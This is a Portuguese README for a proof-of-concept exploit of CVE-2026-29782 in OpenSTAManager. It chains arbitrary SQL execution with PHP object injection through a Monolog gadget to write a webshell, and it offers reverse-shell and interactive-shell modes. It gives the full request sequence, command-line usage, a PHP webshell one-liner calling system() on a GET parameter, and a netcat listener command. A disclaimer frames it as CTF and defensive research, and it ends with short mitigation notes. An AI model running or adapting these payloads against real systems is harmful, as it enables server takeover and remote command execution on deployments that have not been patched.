
Prova de conceito de exploit para CVE-2026-29782, encadeando injeção de SQL e injeção de objetos PHP para alcançar execução remota de código no OpenSTAManager. Inclui opções de implantação de webshell e reverse shell.
PoC para execução remota de código no OpenSTAManager ≤ 2.10.1.
O oauth2.php procura uma linha zz_oauth2 pelo parâmetro GET state controlado
pelo atacante e chama unserialize() na coluna access_token sem uma
restrição allowed_classes (Models\OAuth2::checkTokens() /
getAccessToken()). Isso é um sink de injeção de objeto PHP.
Por si só não é explorável — você não consegue colocar o objeto. Encadeado com o recurso de SQL arbitrário irrestrito no módulo (, sem allow-list de consultas na linha 2.9.x — ), um admin autenticado pode um gadget POP serializado em e então solicitar para detoná-lo.
op=risolvi-conflitti-databaseGHSA-2fr7-cc4f-wh98INSERTzz_oauth2.access_tokenoauth2.phpauth (admin)
└─ POST /actions.php op=risolvi-conflitti-database ← SQL arbitrário
└─ INSERT do blob do gadget em zz_oauth2.access_token (chaveado por `state`)
└─ GET /oauth2.php?state=<state>&code=x
└─ Models\OAuth2::configure() → needsConfiguration()
→ getAccessToken() → checkTokens() → unserialize($access_token)
└─ gadget POP __destruct() → escrita de arquivo
└─ GET /<webshell>.php?c=<cmd> ← execução de código como o usuário web
⚠️ Somente testes autorizados. Publicado para fins educacionais, jogos de CTF (escrito contra HTB: Enigma) e pesquisa defensiva. Executá-lo contra sistemas que você não possui ou sem permissão escrita explícita para testar é ilegal. Sem garantia. Consulte LICENSE.
| Produto | OpenSTAManager (devcode-it/openstamanager) |
| Sink de injeção de objeto | ≤ 2.10.1 — corrigido na 2.10.2 (unserialize($v, ['allowed_classes' => [AccessToken::class]])) |
| Encadeamento de SQL arbitrário | linha 2.9.x (risolvi-conflitti-database ganhou uma allow-list posteriormente na 2.10.x) |
| Verificado contra | 2.9.8, PHP 8.3, MySQL 8.0 |
A árvore 2.9.x inclui monolog/monolog ^3.0, então este PoC usa um gadget de
escrita de arquivo Monolog 3.x (phpggc Monolog/FW1) para soltar o webshell. Isso
evita deliberadamente depender de system()/exec() habilitados ou de quais
componentes Laravel estão presentes.
requests — pip install -r requirements.txtphpggc + CLI php no PATH
(usado apenas para construir o gadget; ou forneça --payload-file com um blob pré-construído)git clone https://github.com/ambionics/phpggc
export PATH="$PWD/phpggc:$PATH"
pip install -r requirements.txt
./exploit.py -u http://TARGET -U admin -P 'password' [ação]
ações:
--cmd 'id' executa um comando, imprime a saída
--shell prompt interativo simples
--lhost 10.10.14.5 --lport 4444 reverse shell bash
--drop-only apenas solta o webshell, imprime sua URL
flags úteis:
--module-id 6 id do módulo Aggiornamenti (padrão 6)
--phpggc ./phpggc/phpggc caminho para o phpggc
--payload-file blob.bin pula o phpggc, usa um blob Monolog/FW1 pré-gerado
--webshell-name name.php nome do arquivo solto na raiz web
--proxy http://127.0.0.1:8080
--keep deixa a linha zz_oauth2 injetada no lugar
# comprovar RCE
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --cmd 'id; uname -a'
# interativo
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --shell
# reverse shell (execute `nc -lvnp 4444` primeiro)
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --lhost 10.10.14.5 --lport 4444
Pré-gerando o gadget manualmente (equivalente ao que o script faz):
printf '%s' '<?php echo "|OSMSH|"; @system($_GET["c"]); ?>' > ws.php
phpggc -a -f Monolog/FW1 osm_shell.php ws.php > blob.bin
./exploit.py -u http://TARGET -U admin -P pass \
--payload-file blob.bin --webshell-name osm_shell.php --cmd id
-a = codificação de string S: segura para ASCII (sobrevive byte a byte à coluna TEXT);
-f = fast-destruct (o objeto dispara imediatamente após unserialize(), antes
do OpenSTAManager chamar ->hasExpired() nele e lançar exceção).
POST /index.php op=login&username=&password= (sucesso = 302
para fora de index.php).POST /actions.php
op=risolvi-conflitti-database&id_module=6&queries=<json-array>. Cada elemento
é passado para $dbo->query(); a ramificação 2.9.x não aplica allow-list. O PoC
anexa um par CREATE TABLE … / DROP TABLE … para forçar um COMMIT implícito
(o endpoint, caso contrário, deixa as escritas em uma transação não confirmada). O
handler também ecoa o texto de erro do MySQL, fornecendo um oráculo de leitura
extractvalue() (OSM.sql_extract() no código).INSERT em zz_oauth2 de uma linha com um state conhecido e
access_token = 0x<hex(gadget)>; class é definido para o provedor real
Modules\Emails\OAuth2\Google.GET /oauth2.php?state=<state>&code=x. configure() chama
needsConfiguration() → getAccessToken() → checkTokens() →
unserialize($this->access_token) sem allowed_classes. O __destruct do gadget
Monolog escreve o webshell. A resposta é HTTP 500 — esperado.GET /<webshell>?c=<cmd> → system().unserialize($v, ['allowed_classes' => [AccessToken::class]]) e o executor de
SQL do Aggiornamenti passa a ter allow-list.modules/aggiornamenti/ a administradores confiáveis; monitore
escritas em zz_oauth2 e solicitações a oauth2.php.Pesquisa e PoC durante a exploração da HTB: Enigma.